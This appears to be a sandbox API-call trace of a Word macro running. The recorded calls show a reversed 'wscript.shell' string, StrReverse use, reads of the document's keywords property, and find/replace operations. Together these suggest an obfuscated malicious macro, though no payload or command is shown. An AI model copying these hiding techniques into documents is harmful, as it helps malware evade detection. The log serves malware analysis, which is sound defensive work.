[0138.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x197164, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\stdole2.tlbt Office\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31
[0138.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x19726c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
[0138.653] CRetailMalloc_Alloc () returned 0x10311eb0
[0138.654] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2
[0138.654] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2
[0138.655] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 2
[0138.655] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0
[0138.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=69, lpMultiByteStr=0x197164, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 69
[0138.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x19726c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
[0138.656] CRetailMalloc_Alloc () returned 0x10293308
[0138.657] CRetailMalloc_Alloc () returned 0x10307bd8
[0138.660] CRetailMalloc_Alloc () returned 0xa1161d8
[0138.660] CRetailMalloc_Alloc () returned 0xa115918
[0138.660] CRetailMalloc_Alloc () returned 0xb968dc0
[0138.660] CRetailMalloc_Alloc () returned 0xa07a1f8
[0138.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=64, lpMultiByteStr=0x196cf0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLBÔ¿\\", lpUsedDefaultChar=0x0) returned 64
[0138.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x196df8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0138.661] CRetailMalloc_Realloc () returned 0x103120d8
[0138.661] CRetailMalloc_Alloc () returned 0x10312750
[0138.662] CRetailMalloc_Alloc () returned 0xa151678
[0138.662] CRetailMalloc_Realloc () returned 0x10312300
[0138.662] CRetailMalloc_Free () returned 0x1
[0138.708] CRetailMalloc_Realloc () returned 0x1028cc28
[0138.709] CRetailMalloc_Alloc () returned 0xb963630
[0138.709] CRetailMalloc_Alloc () returned 0xa07a508
[0138.709] CRetailMalloc_Alloc () returned 0xa07a818
[0138.709] CRetailMalloc_Alloc () returned 0x10310b48
[0138.709] CRetailMalloc_Alloc () returned 0x10310f98
[0138.709] CRetailMalloc_Alloc () returned 0x103082e8
[0138.709] CRetailMalloc_Realloc () returned 0xbc95820
[0138.709] CRetailMalloc_Free () returned 0x1
[0138.710] CRetailMalloc_Alloc () returned 0x103082e8
[0138.710] CRetailMalloc_Free () returned 0x1
[0138.710] CRetailMalloc_Alloc () returned 0x103082e8
[0138.710] _mbscpy_s (in: _Dst=0x19725c, _DstSizeInBytes=0xc, _Src=0xa78284a | out: _Dst=0x19725c) returned 0x0
[0138.710] _mbscpy_s (in: _Dst=0x19725c, _DstSizeInBytes=0x8, _Src=0xa782872 | out: _Dst=0x19725c) returned 0x0
[0138.710] CRetailMalloc_Free () returned 0x1
[0138.731] CRetailMalloc_Alloc () returned 0xb9e04a0
[0138.731] CRetailMalloc_Realloc () returned 0xbcc9280
[0138.731] CRetailMalloc_Alloc () returned 0xb9e0920
[0138.732] CRetailMalloc_Alloc () returned 0xbb3fd08
[0138.732] CRetailMalloc_Alloc () returned 0x103082e8
[0138.732] CRetailMalloc_Alloc () returned 0xb9cab90
[0138.732] CRetailMalloc_Alloc () returned 0xa151678
[0138.732] CRetailMalloc_Alloc () returned 0x102152c8
[0138.732] CRetailMalloc_Alloc () returned 0xb968d50
[0138.732] CRetailMalloc_Alloc () returned 0xb968ca0
[0138.732] CRetailMalloc_Alloc () returned 0xb9e0620
[0138.732] CRetailMalloc_Alloc () returned 0xb9e07d0
[0138.732] CRetailMalloc_Alloc () returned 0xb9e04d0
[0138.733] CRetailMalloc_Alloc () returned 0xb9e0680
[0138.733] CRetailMalloc_Alloc () returned 0xb9e0890
[0138.733] CRetailMalloc_Realloc () returned 0x102d4f68
[0138.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a269e, cbMultiByte=9, lpWideCharStr=0x197478, cchWideChar=10 | out: lpWideCharStr="contents") returned 9
[0138.734] CRetailMalloc_Alloc () returned 0x10308558
[0138.734] CRetailMalloc_Alloc () returned 0xb9cacf8
[0138.734] CRetailMalloc_Alloc () returned 0xb968cc0
[0138.734] CRetailMalloc_Alloc () returned 0xb967140
[0138.734] CRetailMalloc_Alloc () returned 0xb9caff0
[0138.734] CRetailMalloc_Alloc () returned 0x10215460
[0138.734] _mbscpy_s (in: _Dst=0x197670, _DstSizeInBytes=0x9, _Src=0xa782672 | out: _Dst=0x197670) returned 0x0
[0138.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a26c6, cbMultiByte=9, lpWideCharStr=0x197478, cchWideChar=10 | out: lpWideCharStr="Keywords") returned 9
[0138.735] _mbscpy_s (in: _Dst=0x197670, _DstSizeInBytes=0x9, _Src=0xa7827a6 | out: _Dst=0x197670) returned 0x0
[0138.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a26ee, cbMultiByte=2, lpWideCharStr=0x197478, cchWideChar=3 | out: lpWideCharStr="s") returned 2
[0138.736] _mbscpy_s (in: _Dst=0x197670, _DstSizeInBytes=0x2, _Src=0xa78282a | out: _Dst=0x197670) returned 0x0
[0138.737] CoCreateGuid (in: pguid=0x19773c | out: pguid=0x19773c*(Data1=0x896eda66, Data2=0x7189, Data3=0x40c8, Data4=([0]=0xa1, [1]=0x32, [2]=0x35, [3]=0xe7, [4]=0x3d, [5]=0x95, [6]=0xa7, [7]=0x5))) returned 0x0
[0138.737] CoCreateGuid (in: pguid=0x19773c | out: pguid=0x19773c*(Data1=0xc920989, Data2=0xc437, Data3=0x4339, Data4=([0]=0xba, [1]=0x99, [2]=0x24, [3]=0x77, [4]=0x51, [5]=0x58, [6]=0xeb, [7]=0x4b))) returned 0x0
[0138.737] CRetailMalloc_Alloc () returned 0xbabcbb8
[0138.738] CRetailMalloc_Alloc () returned 0x102933b0
[0138.738] CRetailMalloc_Alloc () returned 0x10308970
[0138.740] CRetailMalloc_Alloc () returned 0xbabcbf8
[0138.740] CRetailMalloc_Alloc () returned 0xbabcd98
[0138.740] CRetailMalloc_Alloc () returned 0xbabcdf8
[0138.740] CRetailMalloc_Alloc () returned 0xbabccd8
[0138.741] CRetailMalloc_Alloc () returned 0xb917bb0
[0138.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=64, lpMultiByteStr=0x196e30, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 64
[0138.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x196f38, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0138.742] CRetailMalloc_Realloc () returned 0x103111c0
[0138.742] CRetailMalloc_Alloc () returned 0x102e6a20
[0138.742] _mbscpy_s (in: _Dst=0x196c90, _DstSizeInBytes=0x9, _Src=0xa782672 | out: _Dst=0x196c90) returned 0x0
[0138.742] CRetailMalloc_Alloc () returned 0x102d4fd8
[0138.743] _mbscpy_s (in: _Dst=0x196c90, _DstSizeInBytes=0x9, _Src=0xa7827a6 | out: _Dst=0x196c90) returned 0x0
[0138.743] CRetailMalloc_Alloc () returned 0x102d5198
[0138.743] _mbscpy_s (in: _Dst=0x196c90, _DstSizeInBytes=0x2, _Src=0xa78282a | out: _Dst=0x196c90) returned 0x0
[0138.743] CRetailMalloc_Alloc () returned 0xba40980
[0138.744] CRetailMalloc_Realloc () returned 0x102e9bb8
[0138.744] CRetailMalloc_Alloc () returned 0xa151780
[0138.744] CRetailMalloc_Free () returned 0x1
[0138.745] CRetailMalloc_Realloc () returned 0xa151780
[0138.745] CRetailMalloc_Realloc () returned 0xb997638
[0138.745] realloc (_Block=0x0, _Size=0x100) returned 0xa765460
[0138.747] CRetailMalloc_Realloc () returned 0xbc92c50
[0138.747] CRetailMalloc_Alloc () returned 0xbb34cb8
[0138.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782982, cbMultiByte=11, lpWideCharStr=0x197784, cchWideChar=12 | out: lpWideCharStr="StrReverse") returned 11
[0138.747] CRetailMalloc_Alloc () returned 0x10309088
[0138.747] CRetailMalloc_Alloc () returned 0xb9cad98
[0138.747] CRetailMalloc_Alloc () returned 0xb9671a0
[0138.747] CRetailMalloc_Alloc () returned 0xb9672f0
[0138.747] CRetailMalloc_Alloc () returned 0xb9caeb0
[0138.747] CRetailMalloc_Alloc () returned 0x10215ac0
[0138.754] CRetailMalloc_Realloc () returned 0xbafb6c0
[0138.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78295a, cbMultiByte=12, lpWideCharStr=0x197784, cchWideChar=13 | out: lpWideCharStr="lovePowGirl") returned 12
[0138.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78295a, cbMultiByte=12, lpWideCharStr=0x197784, cchWideChar=13 | out: lpWideCharStr="lovePowGirl") returned 12
[0138.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78295a, cbMultiByte=12, lpWideCharStr=0x197784, cchWideChar=13 | out: lpWideCharStr="lovePowGirl") returned 12
[0138.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78295a, cbMultiByte=12, lpWideCharStr=0x197784, cchWideChar=13 | out: lpWideCharStr="lovePowGirl") returned 12
[0138.756] CRetailMalloc_Alloc () returned 0xbabcd58
[0138.756] _mbscpy_s (in: _Dst=0xbabcd58, _DstSizeInBytes=0xc, _Src=0xa78295a | out: _Dst=0xbabcd58) returned 0x0
[0138.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782a46, cbMultiByte=19, lpWideCharStr=0x197794, cchWideChar=20 | out: lpWideCharStr="_B_var_lovePowGirl") returned 19
[0138.757] _mbscpy_s (in: _Dst=0x1977fc, _DstSizeInBytes=0xc, _Src=0xa78295a | out: _Dst=0x1977fc) returned 0x0
[0138.757] CRetailMalloc_Free () returned 0x1
[0138.757] CRetailMalloc_Realloc () returned 0xb96ba78
[0138.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78269a, cbMultiByte=15, lpWideCharStr=0x197784, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0138.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78269a, cbMultiByte=15, lpWideCharStr=0x197784, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0138.766] CRetailMalloc_Realloc () returned 0xa1515e8
[0138.766] CRetailMalloc_Realloc () returned 0xb9e0500
[0138.766] CRetailMalloc_Realloc () returned 0xbafbbe8
[0138.769] CRetailMalloc_Alloc () returned 0xb9e08c0
[0138.769] CRetailMalloc_Realloc () returned 0xb963680
[0138.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78269a, cbMultiByte=15, lpWideCharStr=0x197744, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0138.770] CRetailMalloc_Realloc () returned 0xb9caf00
[0138.770] CRetailMalloc_Realloc () returned 0x1028c700
[0138.771] CRetailMalloc_Realloc () returned 0x102e63a8
[0138.773] realloc (_Block=0x0, _Size=0x20) returned 0xa765568
[0138.773] realloc (_Block=0x0, _Size=0x60) returned 0xa765590
[0138.773] CRetailMalloc_Alloc () returned 0xb9e0710
[0138.773] CRetailMalloc_Realloc () returned 0x1028c758
[0138.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7829aa, cbMultiByte=8, lpWideCharStr=0x19775c, cchWideChar=9 | out: lpWideCharStr="SaveAs2") returned 8
[0138.774] CRetailMalloc_Realloc () returned 0xb96eb38
[0138.774] CRetailMalloc_Realloc () returned 0xbc96030
[0138.774] CRetailMalloc_Alloc () returned 0xa1515a0
[0138.774] _mbscpy_s (in: _Dst=0xa1515a0, _DstSizeInBytes=0x9, _Src=0xa7829ce | out: _Dst=0xa1515a0) returned 0x0
[0138.774] SysStringByteLen (bstr="FileName") returned 0x10
[0138.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FileName", cchWideChar=8, lpMultiByteStr=0x197680, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FileName¤v\x19", lpUsedDefaultChar=0x0) returned 8
[0138.774] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FileName", cchCount1=-1, lpString2="FileName", cchCount2=-1) returned 2
[0138.775] CRetailMalloc_Free () returned 0x1
[0138.775] CRetailMalloc_Alloc () returned 0xa1515a0
[0138.775] _mbscpy_s (in: _Dst=0xa1515a0, _DstSizeInBytes=0xb, _Src=0xa7829f6 | out: _Dst=0xa1515a0) returned 0x0
[0138.775] SysStringByteLen (bstr="FileName") returned 0x10
[0138.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FileName", cchWideChar=8, lpMultiByteStr=0x197680, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FileName¤v\x19", lpUsedDefaultChar=0x0) returned 8
[0138.775] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FileName", cchCount1=-1, lpString2="FileFormat", cchCount2=-1) returned 3
[0138.775] SysStringByteLen (bstr="FileFormat") returned 0x14
[0138.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FileFormat", cchWideChar=10, lpMultiByteStr=0x197680, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FileFormat\x19", lpUsedDefaultChar=0x0) returned 10
[0138.775] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FileFormat", cchCount1=-1, lpString2="FileFormat", cchCount2=-1) returned 2
[0138.776] CRetailMalloc_Free () returned 0x1
[0138.776] CRetailMalloc_Realloc () returned 0x103094a0
[0138.777] CRetailMalloc_Realloc () returned 0x103094a0
[0138.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x102158ec, cbMultiByte=13, lpWideCharStr=0x11402a58, cchWideChar=28 | out: lpWideCharStr="llehs.tpircsw") returned 13
[0138.777] CRetailMalloc_Realloc () returned 0x102e9768
[0138.779] CRetailMalloc_Alloc () returned 0x10249400
[0138.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x66a6ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
[0138.779] CRetailMalloc_Realloc () returned 0x102e72c0
[0138.780] CRetailMalloc_Alloc () returned 0x102e7938
[0138.780] CRetailMalloc_Realloc () returned 0x102e6180
[0138.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x66a6ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
[0138.781] CRetailMalloc_Realloc () returned 0x10307158
[0138.781] CRetailMalloc_Free () returned 0x1
[0138.781] GetCurrentProcess () returned 0xffffffff
[0138.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xbb6109a, dwSize=0xc) returned 1
[0138.781] VirtualProtect (in: lpAddress=0xbb6109a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x197654 | out: lpflOldProtect=0x197654*=0x40) returned 1
[0138.782] SetErrorMode (uMode=0x8001) returned 0x8001
[0138.784] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
[0138.784] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x66830000
[0138.785] SetErrorMode (uMode=0x8001) returned 0x8001
[0138.786] GetProcAddress (hModule=0x66830000, lpProcName=0x2c9) returned 0x66a3fe55
[0138.787] free (_Block=0x0)
[0138.787] free (_Block=0x0)
[0138.787] free (_Block=0x0)
[0138.787] CRetailMalloc_Alloc () returned 0xbabcd58
[0138.787] CRetailMalloc_Free () returned 0x1
[0138.787] CRetailMalloc_Alloc () returned 0xba40840
[0138.787] CRetailMalloc_Alloc () returned 0xbabce18
[0138.787] CRetailMalloc_Free () returned 0x1
[0138.787] CRetailMalloc_Alloc () returned 0xba40900
[0138.788] CRetailMalloc_Alloc () returned 0xbabce38
[0138.788] CRetailMalloc_Free () returned 0x1
[0138.788] CRetailMalloc_Alloc () returned 0xba404c0
[0138.788] GetCurrentProcess () returned 0xffffffff
[0138.788] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdc, dwSize=0x14) returned 1
[0138.788] VirtualProtect (in: lpAddress=0x10310bdc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1979ec | out: lpflOldProtect=0x1979ec*=0x4) returned 1
[0138.789] GetCurrentProcess () returned 0xffffffff
[0138.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdd, dwSize=0x2) returned 1
[0138.789] GetCurrentProcess () returned 0xffffffff
[0138.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfc, dwSize=0x14) returned 1
[0138.789] VirtualProtect (in: lpAddress=0x10310bfc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1979ec | out: lpflOldProtect=0x1979ec*=0x40) returned 1
[0138.790] GetCurrentProcess () returned 0xffffffff
[0138.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfd, dwSize=0x2) returned 1
[0138.790] GetCurrentProcess () returned 0xffffffff
[0138.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1c, dwSize=0x14) returned 1
[0138.790] VirtualProtect (in: lpAddress=0x10310c1c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1979ec | out: lpflOldProtect=0x1979ec*=0x40) returned 1
[0138.791] GetCurrentProcess () returned 0xffffffff
[0138.791] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1d, dwSize=0x2) returned 1
[0138.791] free (_Block=0x0)
[0138.791] free (_Block=0x0)
[0138.791] free (_Block=0x0)
[0138.792] free (_Block=0x0)
[0138.792] free (_Block=0x0)
[0138.792] free (_Block=0x0)
[0138.793] free (_Block=0x0)
[0138.793] free (_Block=0x0)
[0138.793] free (_Block=0x0)
[0138.794] CRetailMalloc_Alloc () returned 0xb9671a0
[0138.794] CRetailMalloc_Alloc () returned 0xbcc9280
[0138.795] CRetailMalloc_Alloc () returned 0xb967510
[0138.795] CRetailMalloc_Alloc () returned 0xbcc9430
[0138.795] CRetailMalloc_Alloc () returned 0xb967670
[0138.796] CRetailMalloc_Alloc () returned 0xbcc96b8
[0138.797] GetAsyncKeyState (vKey=3) returned 0
[0138.797] GetAsyncKeyState (vKey=3) returned 0
[0138.798] CRetailMalloc_Alloc () returned 0x10309da8
[0138.798] CRetailMalloc_Realloc () returned 0xbabcbd8
[0138.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbafafd4, cbMultiByte=8, lpWideCharStr=0x11410120, cchWideChar=18 | out: lpWideCharStr="keywords") returned 8
[0138.799] CRetailMalloc_Realloc () returned 0xbc92dd8
[0138.799] realloc (_Block=0x0, _Size=0x100) returned 0xa7655f8
[0138.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a2736, cbMultiByte=15, lpWideCharStr=0x197464, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0138.801] CRetailMalloc_Realloc () returned 0xb9cabb8
[0138.801] CRetailMalloc_Realloc () returned 0x1028cb20
[0138.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7827ce, cbMultiByte=26, lpWideCharStr=0x19749c, cchWideChar=27 | out: lpWideCharStr="BuiltInDocumentProperties") returned 26
[0138.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782806, cbMultiByte=7, lpWideCharStr=0x197278, cchWideChar=6 | out: lpWideCharStr="Value") returned 0
[0138.806] CRetailMalloc_Realloc () returned 0x102e7710
[0138.806] wcscpy_s (in: _Destination=0x102e79ac, _SizeInWords=0x6, _Source="Value" | out: _Destination="Value") returned 0x0
[0138.807] CRetailMalloc_Alloc () returned 0x103072c8
[0138.810] CRetailMalloc_Realloc () returned 0x10309da8
[0138.810] CRetailMalloc_Free () returned 0x1
[0138.810] GetCurrentProcess () returned 0xffffffff
[0138.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdc, dwSize=0x14) returned 1
[0138.810] VirtualProtect (in: lpAddress=0x10310bdc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0138.811] GetCurrentProcess () returned 0xffffffff
[0138.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdd, dwSize=0x2) returned 1
[0138.812] GetCurrentProcess () returned 0xffffffff
[0138.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfc, dwSize=0x14) returned 1
[0138.812] VirtualProtect (in: lpAddress=0x10310bfc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0138.814] GetCurrentProcess () returned 0xffffffff
[0138.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfd, dwSize=0x2) returned 1
[0138.814] GetCurrentProcess () returned 0xffffffff
[0138.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1c, dwSize=0x14) returned 1
[0138.814] VirtualProtect (in: lpAddress=0x10310c1c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0138.815] GetCurrentProcess () returned 0xffffffff
[0138.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1d, dwSize=0x2) returned 1
[0138.815] GetAsyncKeyState (vKey=3) returned 0
[0139.436] GetAsyncKeyState (vKey=3) returned 0
[0139.436] CRetailMalloc_Realloc () returned 0x10237058
[0139.436] CRetailMalloc_Alloc () returned 0x1033b7e8
[0139.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbafaf94, cbMultiByte=2, lpWideCharStr=0x11410120, cchWideChar=6 | out: lpWideCharStr="@1") returned 2
[0139.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbafaf9e, cbMultiByte=0, lpWideCharStr=0x1141018a, cchWideChar=2 | out: lpWideCharStr="") returned 0
[0139.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7826c6, cbMultiByte=8, lpWideCharStr=0x1973bc, cchWideChar=9 | out: lpWideCharStr="Content") returned 8
[0139.439] CRetailMalloc_Realloc () returned 0x10237860
[0139.440] CRetailMalloc_Realloc () returned 0xbc97c68
[0139.440] CRetailMalloc_Alloc () returned 0xb9de2e0
[0139.440] CRetailMalloc_Realloc () returned 0x1032d0c8
[0139.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7826ea, cbMultiByte=5, lpWideCharStr=0x1973bc, cchWideChar=6 | out: lpWideCharStr="Find") returned 5
[0139.444] CRetailMalloc_Alloc () returned 0xb9de280
[0139.444] CRetailMalloc_Realloc () returned 0x1030e6b0
[0139.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa78270e, cbMultiByte=8, lpWideCharStr=0x1973bc, cchWideChar=9 | out: lpWideCharStr="Execute") returned 8
[0139.445] CRetailMalloc_Realloc () returned 0xbcca1f8
[0139.445] CRetailMalloc_Realloc () returned 0x102935a8
[0139.445] CRetailMalloc_Alloc () returned 0x10319258
[0139.445] _mbscpy_s (in: _Dst=0x10319258, _DstSizeInBytes=0x9, _Src=0xa782732 | out: _Dst=0x10319258) returned 0x0
[0139.445] SysStringByteLen (bstr="FindText") returned 0x10
[0139.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindText", cchWideChar=8, lpMultiByteStr=0x1972e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindText\x04s\x19", lpUsedDefaultChar=0x0) returned 8
[0139.445] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FindText", cchCount1=-1, lpString2="FindText", cchCount2=-1) returned 2
[0139.446] CRetailMalloc_Free () returned 0x1
[0139.446] CRetailMalloc_Alloc () returned 0x10319318
[0139.446] _mbscpy_s (in: _Dst=0x10319318, _DstSizeInBytes=0xc, _Src=0xa78275a | out: _Dst=0x10319318) returned 0x0
[0139.447] SysStringByteLen (bstr="FindText") returned 0x10
[0139.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindText", cchWideChar=8, lpMultiByteStr=0x1972e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindText\x04s\x19", lpUsedDefaultChar=0x0) returned 8
[0139.447] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FindText", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.447] SysStringByteLen (bstr="MatchCase") returned 0x12
[0139.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchCase", cchWideChar=9, lpMultiByteStr=0x1972e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchCases\x19", lpUsedDefaultChar=0x0) returned 9
[0139.447] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchCase", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
